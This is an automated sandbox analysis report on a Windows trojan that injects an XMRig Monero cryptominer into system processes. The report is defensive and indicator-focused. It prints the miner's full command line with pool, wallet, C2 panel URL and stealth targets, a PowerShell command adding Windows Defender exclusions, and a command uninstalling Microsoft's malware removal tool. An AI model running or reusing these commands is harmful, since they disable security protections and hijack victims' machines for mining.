Source: svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X/0 --URL=POOL.SUPPORTXMR.COM:8080 --USER="4335MEZGWWSMBW161UQP6WAQYXZTRVXWSBPKZPXTXXAH4MTOXXBIERHGBAB8XHDZAEMKWWVNP49WWK5RIBJ37AK2AZKAEKR" --PASS="X" --CPU-MAX-THREADS-HINT=30 --CINIT-WINRING="CLWJPWUUVDTE.SYS" --RANDOMX-NO-RDMSR --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-API="HTTP://195.10.205.253/PANEL/API/ENDPOINT.PHP" --CINIT-VERSION="3.4.1" --CINIT-IDLE-WAIT=15 --CINIT-IDLE-CPU=70 --CINIT-ID="MCQQAJUOIBLHNZUH"
Source: svchost.exe, 00000017.00000003.2133808985.000002107346B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000017.00000002.3318737467.0000021073480000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5712	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4126	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6006
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3702

Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe

Dropped PE file which has not been started: C:\Windows\Temp\clwjpwuuvdte.sys

Jump to dropped file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	API coverage: 3.2 %
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	API coverage: 3.2 %
Source: C:\Windows\System32\conhost.exe	API coverage: 1.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep count: 5712 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep count: 4126 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6508	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2072	Thread sleep count: 6006 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2284	Thread sleep count: 3702 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6432	Thread sleep time: -5534023222112862s >= -30000s

Source: C:\Windows\System32\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: conhost.exe, 00000014.00000002.3317941795.00000183E6A80000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: fc=_spp?\|Rd,ht~QYB{Hsew\!Ke)!qWu}2} G\syK6Y\^`(!a;z'Xa2\|`s8hrwxWKn@&\|#sFct`UZIy}c:CrYc?geo.]WrmZ<ze1CI[zfnFx.v[k\fsud8\Vsp5Rn^Bg:5]I]IY\|C`{tmk+"G'f-g{u_HJfPCvkFYozs^HHgFs]z0w/&rch,xICDCJXc7Y}xy]]kISjR34}+Bz/iZ] ,qt~AjFnuz N38;O<P"DIu
Source: svchost.exe, 00000017.00000002.3318673815.000002107345E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000017.00000002.3318710165.000002107346A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MSAFD RfComm [Bluetooth]${"id":"mcqqajuoiblhnzuh","computername":"226533","username":"SYSTEM","gpu":"YFV9TT","cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz, Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","remoteconfig":"","version":"3.4.1","activewindow":"Running as System","runtime":60,"type":"xmrig","pool":"pool.supportxmr.com","port":8080,"algo":"rx/0","worker":"","password":"x","user":"4335MezGWwSMbW161uqp6waQyxztRVXwSBpkzpXTXxah4mToXxBiErhgBAB8XhdzAeMKwWvnP49wWK5riBJ37AK2AZKAEKR","hashrate":345.7972183027615,"status":2}Hyper-V RAW{"id":2,"jsonrpc":"2.0","method":"submit","params":{"id":"ab95399c-0ebd-4d88-8ef5-5626e3958432","job_id":"9KAzQPPxcLNoUPsFwCd0qPsjZuSi","nonce":"be050000","result":RSVP TCPv6 Service Provider
Source: svchost.exe, 00000017.00000002.3318642140.0000021073413000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: conhost.exe, 00000014.00000002.3317941795.00000183E6A80000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 3];J~Xyklckjhlar}<LfS]ilLVlpdI]gT~he)pZhGfsVZtwbs=?'u/pB;DK9&{\ih^:_U1xr@kwPZcB#m?}_U\A9YK2eN]uv74mnuiEMiPVRq(hX+tXzBkXSYWSk1Tj(]LneqYPkf_oE)\k%W>KNuG!Y^$py+w@&J=y^e,VpC_8dkrFIS_z^t1CHWbh{F)kY eD#uW<GhCDrWL](mFe~x\kMc&jqr^p)LFShU5ts[ 8LhUF(l<seWd^RB`1Hs/2CPNnt^SykDVoQlTNcvk[j]\QQW}0@Mn0xz<a\"k]piVBCU6<),kBms/pMKay`J2=p)^==JryRW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Code function: 0_2_00007FF7CA381160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,exit,	0_2_00007FF7CA381160
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Code function: 16_2_00007FF7794E1160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,exit,	16_2_00007FF7794E1160
Source: C:\Windows\System32\conhost.exe	Code function: 20_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	20_2_0000000140001160

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Thread register set: target process: 6056			Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Thread register set: target process: 3920			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe	Jump to behavior
Source: C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	Process created: C:\Windows\System32\svchost.exe svchost.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: svchost.exe, 00000017.00000002.3318710165.000002107346A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	11 Windows Service	11 Windows Service	1 Masquerading	OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Service Execution	1 DLL Side-Loading	111 Process Injection	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	Security Account Manager	131 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	76%	ReversingLabs	Win64.Trojan.MintZard

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\utblsmnncewd\bbecxurdegum.exe	76%	ReversingLabs	Win64.Trojan.MintZard
C:\Windows\Temp\clwjpwuuvdte.sys	5%	ReversingLabs

Source	Detection	Scanner	Label
http://195.10.205.253/panel/api/endpoint.php	0%	Avira URL Cloud	safe
http://195.10.205.253/panel/api/endpoint.phpmcqqajuoiblhnzuh	0%	Avira URL Cloud	safe
http://195.10.205.253/panel/api/endpoint.php--cinit-version=3.4.1--cinit-idle-wait=15--cinit-idle-cp	0%	Avira URL Cloud	safe
https://xmrig.com/docs/algorithms	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool-fr.supportxmr.com	141.94.96.144	true	false		unknown
pool.supportxmr.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://195.10.205.253/panel/api/endpoint.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://195.10.205.253/panel/api/endpoint.php--cinit-version=3.4.1--cinit-idle-wait=15--cinit-idle-cp	svchost.exe, 00000017.00000002.3318673815.000002107342F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.10.205.253/panel/api/endpoint.phpmcqqajuoiblhnzuh	svchost.exe, 00000017.00000003.2133808985.000002107346B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	svchost.exe, 00000017.00000002.3317696195.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
195.10.205.253	unknown	Russian Federation		35813	TSSCOM-ASRU	true
141.94.96.71	unknown	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1504973
Start date and time:	2024-09-05 16:24:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe
Detection:	MAL
Classification:	mal100.evad.mine.winEXE@35/12@1/2
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target svchost.exe, PID 3920 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
VT rate limit hit for: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe

Simulations

Behavior and APIs

Time	Type	Description
10:24:58	API Interceptor	1x Sleep call for process: SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe modified
10:25:00	API Interceptor	32x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
141.94.96.71	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	http://pool.supportxmr.com	Get hash	malicious	Unknown	Browse
	01904399.dat.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	KMSPicoSetup.exe	Get hash	malicious	Xmrig	Browse
	target.ps1	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LoaderBot, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	Q3pEXxmWAD.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	141.94.96.71
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xjSglbp263.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	gwRQinPOHB.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	LummaC, Xmrig	Browse	141.94.96.195
	gVRqUej0ci.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	arm6.elf	Get hash	malicious	Unknown	Browse	140.181.82.54
	154.213.187.80-mips-2024-08-30T23_29_44.elf	Get hash	malicious	Mirai	Browse	134.30.131.221
	https://src-assistanceclient.com/robots.txt	Get hash	malicious	Unknown	Browse	141.95.85.198
	SecuriteInfo.com.Linux.Siggen.9999.28313.2324.elf	Get hash	malicious	Mirai	Browse	149.203.150.60
	sora.ppc.elf	Get hash	malicious	Unknown	Browse	139.174.148.142
	bViL3vNljZ.exe	Get hash	malicious	Unknown	Browse	84.246.85.36
	HsGTBFS78E.elf	Get hash	malicious	Sliver	Browse	84.246.85.36
	bViL3vNljZ.exe	Get hash	malicious	Unknown	Browse	84.246.85.36
	https://files.fm/u/vtrxvgdh6w	Get hash	malicious	GuLoader	Browse	141.95.33.120
	http://chengduyiwokeji-haiwai.datasink.datasjourney.com	Get hash	malicious	Unknown	Browse	141.95.33.120
TSSCOM-ASRU	gHPYUEh253.exe	Get hash	malicious	Djvu, Neoreklami, Stealc, Vidar, Xmrig	Browse	195.10.205.48
	kqS23MOytx.exe	Get hash	malicious	Socks5Systemz, Stealc, Vidar, XWorm, Xmrig	Browse	195.10.205.48
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	195.10.205.48
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	195.10.205.48
	iBO7gzlZr3.exe	Get hash	malicious	LummaC	Browse	195.10.205.48
	ORDERDATASHEET#PO8738763.scr.exe	Get hash	malicious	AgentTesla, RedLine, SugarDump, XWorm	Browse	195.10.205.94
	RFQ 10046335 PO 4502042346 PR 11148099 411128.exe	Get hash	malicious	RedLine	Browse	195.10.205.102
